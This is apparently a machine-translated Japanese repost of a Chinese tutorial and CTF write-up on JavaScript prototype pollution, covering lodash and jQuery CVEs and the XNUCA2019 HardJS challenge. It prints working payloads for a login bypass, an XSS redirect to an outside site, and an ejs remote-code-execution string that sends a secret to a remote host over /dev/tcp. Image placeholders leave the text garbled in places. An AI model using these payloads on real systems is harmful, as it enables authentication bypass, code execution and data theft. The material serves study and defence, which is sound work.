Node.jsプロトタイプチェーン汚染の脆弱性

node.jsの使用を開始する:http://nodejs.cn/learn/how-much-javascript-do-you-need-to-know-to-use-nodejs
上記の手順で習得するJavaScriptの部分によると、新人チュートリアルを直接ご覧ください。

オブジェクトとプロトタイプチェーン

文字列、数値、配列、関数など、JavaScriptのすべてがオブジェクトです。オブジェクトは単なる特別な種類のデータです。オブジェクトにはプロパティとメソッドがあります。
このようなオブジェクトを作成できます

var person = {
    
    firstName:"John", lastName:"Doe", age:50, eyeColor:"blue"};

JavaScriptオブジェクトは、name:valueコレクションです。オブジェクトのプロパティは、キー値の形式で表されます。
オブジェクトのプロパティには2つの方法でアクセスできます

person.lastName;
person["lastName"];

2番目の方法は、Pythonの辞書またはphpの連想配列に似ているため、配列(オブジェクト)の「キー名」を制御できる操作で、オブジェクトの属性値を設定できます。これも原因の1つです。脆弱性の。
クラスはオブジェクトの抽象化であり、オブジェクトはクラスのインスタンスです。JavaScriptでは、クラスの概念はコンストラクターを定義する形で実装されます。

function Person(first, last) {
    
     
this.firstName = first;
this.lastName = last; }

もちろん、Javaのクラスフォーム定義(基本的にはシンタックスシュガー)もサポートしています。
クラスには、クラスのコンストラクターである特別なメソッドが含まれていconstructor()ます。このメソッドは、クラスによって作成されたオブジェクトを作成および初期化するために使用されます。
JavaScriptのオブジェクトは、クラスのプロパティからprototype(原型对象)プロパティ。__proto__クラスのプロトタイプオブジェクトを指すオブジェクトのプロパティprototype
ここに画像の説明を挿入ここに画像の説明を挿入

JavaScriptのすべてのオブジェクトは、プロトタイプチェーンの最上位にあるObjectのインスタンスです。
JavaScriptオブジェクトには、プロトタイプオブジェクトを指すチェーンがあります。オブジェクトのプロパティにアクセスしようとすると、オブジェクトだけでなく、オブジェクトのプロトタイプ、オブジェクトのプロトタイプのプロトタイプなども検索され、名前が一致するプロパティが見つかるか、に到達します。チェーンのプロトタイプの終わり。
ここに画像の説明を挿入

次に、プロトタイプにこのプロパティがある場合、そのサブクラスインスタンスが同じ名前のプロパティを定義していない限り、名前と同じように、このプロパティを直接継承します。
プロトタイプチェーンの汚染は、オブジェクトのプロトタイプを変更することであり、それによって同じクラス、サブクラス、および親クラスのすべてのオブジェクトに影響を及ぼします。これは、戻ってこの名前の祖先の名前を変更するのと同じです。
ここに画像の説明を挿入

プロトタイプのプロパティを変更するため、つまり配列のキーと値のペアの操作を制御するために、一般的なマージとクローンがあります(操作されるオブジェクトを空のオブジェクトにマージします)。
ここに画像の説明を挿入

__proto__キーとして書き込まれ、汚染の試みは失敗しますオブジェクト作成の過程で、それ__proto__はそのプロトタイプに解析され、マージ関数がトラバースするときに取得されるキー名はa、bのみです。
ここに画像の説明を挿入ここに画像の説明を挿入

JSON形式は、JavaScriptオブジェクトを作成するためのコードと構文的に同じであり、JavaScriptオブジェクトに変換されると__proto__、プロトタイプに直接解析されるのではなく、キー名と見なされるため、キーと値のペアが保持されます。
ここに画像の説明を挿入

Lodashモジュールプロトタイプチェーン汚染

lodash.mergeメソッド

__proto__上記の列子のように、汚染によって。ここでのif判定はバイパスでき、最後にオブジェクト[key]=valueの代入演算に入ります。
ここに画像の説明を挿入

var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {
    
    };
console.log("Before whoami: " + a.whoami);
lodash.merge({
    
    }, JSON.parse(payload));
console.log("After whoami: " + a.whoami);

lodash.defaultsDeepメソッド

(CVE-2019-10744)LodashライブラリのdefaultsDeep関数は、コンストラクターを含むペイロードによってだまされて、Object.prototypeを追加または変更する可能
性があります。a.constructorは、インスタンスオブジェクトを作成したObjectコンストラクターへの参照を返します。このオブジェクトのプロトタイプクラスと同等であり、次にそのプロトタイププロパティを変更します
ここに画像の説明を挿入

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
    
    
    mergeFn({
    
    }, JSON.parse(payload));
        if (({
    
    })[`a0`] === true) {
    
    
                console.log(`Vulnerable to Prototype Pollution via ${
      
      payload}`);
                    }
                }
check();

ペイロード:{"type": "test"、 "content":{"prototype":{"constructor":{"a": "b"}}}}

jQueryCVE-2019-11358プロトタイプ汚染の脆弱性

jQueryCVE-2019-11358プロトタイプ汚染の脆弱性分析と修復の推奨事項
バージョンが3.4.0未満の場合

$.extend(true,{
    
    },JSON.parse('{"__proto__":{"aa":"hello"}}')) 

Jqueryは$.extendを使用して2つの辞書をマージできます

タイトルリスト[XNUCA2019Qualifier]HardJS

キーワード:nodejs lodashプロトタイプチェーン汚染
サーバーはnodejsであり、Expressフレームワークを使用し、テンプレートレンダリングエンジンはejsを使用します。

sudo curl -fsSL https://deb.nodesource.com/setup_17.x |sudo bash -
apt-get install -y nodejs
npm install && npm audit

依存関係のlodashには、プロトタイプのチェーン汚染の脆弱性、つまりCVE-2019-10744があることがわかります。
ここに画像の説明を挿入

robots.pyから、adminのパスワードがフラグであることがわかります。

1.バックエンドプロトタイプチェーン汚染の脆弱性

server.jsの/getルートが表示されます。メッセージの数が5を超えると、lodash.defaultsDeepが呼び出されてメッセージがマージされます。
ここに画像の説明を挿入

Expressフレームワークは、Content-Typeに従ってリクエスト本文を解析し、ペイロードを6回送信してから、/ getにアクセスしてプロトタイプチェーン
の汚染をトリガーすることをサポートしています。期待される解決策は、ログイン検証をバイパスして管理者にログインし、ログインおよびユーザーID属性。
ここに画像の説明を挿入

この時点で、ログインステータスを偽造することができます

{
    
    "type":"test","content":{
    
    "constructor":{
    
    "prototype":{
    
    "login":true,"userid":1}}}}

/ static、/ login、/ registerを除いて、他のルートはアクセス時の認証に認証機能を必要とします。
robot.pyでは、ロボットはローカルページのホームページ/を開き、認証の302ジャンプは上記のプロトタイプチェーン汚染をスキップでき、ロボットは名前に従ってユーザー名とパスワードを入力しますフォームのを送信します。
次に、フロントエンドでxssを入力する必要があります

2.フロントエンドプロトタイプチェーン汚染の脆弱性

app.jsでは、フロントエンドがバックグラウンドデータを取得するときに、$。extent関数が呼び出されてデータがマージされます。
ここに画像の説明を挿入

jsを使用してテンプレートを生成する場合、ヒントオブジェクトがトラバースされ、ヒントオブジェクトの属性キーと値のペアが対応するliタグに書き込まれます。
ここに画像の説明を挿入

index.ejsでは、type属性を含むliタグに、上記の5つに加えてロガーがあります。
ここに画像の説明を挿入

プロトタイプのロガープロパティを汚染することにより、ロガーのコンテンツを上書きして、XSSを生成することができます。

{
    
    "type":"test","content":{
    
    "__proto__": {
    
    "logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}

vpsでのログインをシミュレートするhtmlフォームを作成するだけです

ejsを使用したrce

上記のようにフロントエンドとバックエンドの複合攻撃を使用することに加えて、バックエンドの脆弱​​性のみを使用して、rceにejsを悪用することもできます。
ここでは、ejsを使用してテンプレートをレンダリングしてから、分析をres.render('index');開始
、関数definition / node_modules / express / lib/response.jsを表示します。
ここに画像の説明を挿入

この呼び出しに続く関数定義/node_modules/express/lib/application.js
ここに画像の説明を挿入

ファローアップ
ここに画像の説明を挿入

エンジンと呼ばれ、デフォルトのエンジン出口の宣言を表示します
ここに画像の説明を挿入

この__expressステートメントのフォローアップ
ここに画像の説明を挿入

このrenderFileの実装を確認してください
ここに画像の説明を挿入

最後に、tryHandleCache関数が呼び出されます
ここに画像の説明を挿入

handleCache関数で処理された後、最終ページに戻ります
ここに画像の説明を挿入

handleCacheは関数を返します
ここに画像の説明を挿入ここに画像の説明を挿入

コンパイルをフォローアップして、さまざまなコードスプライシングを確認します
ここに画像の説明を挿入

動的関数の生成が続きます
ここに画像の説明を挿入

このオブジェクトは、生成された他のテンプレート文字列とともにthis.sourceに連結され、srcに渡され、次にfnが渡され、returnedFnとして返され、最後に実行されます。

RCEglobal.processバウンスシェル
ここに画像の説明を挿入

{
    
    "type":"test","content":{
    
    "constructor":{
    
    "prototype":
{
    
    "outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}

または、フラグをページに直接エコーします

{
    
    "type":"111","content":{
    
    "constructor":{
    
    "prototype":{
    
    "outputFunctionName":"__append; return process.env.FLAG; __append"}}}}

ここに画像の説明を挿入ここに画像の説明を挿入ここに画像の説明を挿入

参考:

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs
https://blog。 szfszf.top/tech/javascript-%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93-%E5%88%86%E6%9E% 90 /

https://www.wangan.com/p/7fygf7fa6b978b66#lodash.defaultsDeep%E6%96%B9%E6%B3%95%E9%80%A0%E6%88%90%E7%9A%84% E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%EF%BC%88CVE-2019-10744%EF%BC%89
https:// www .anquanke.com / post / id / 185377#h3-1
http://j0k3r.top/2019/09/10/js_prototype_pollution/#0x02-Hardjs

おすすめ

転載: blog.csdn.net/weixin_43610673/article/details/123171227
おすすめ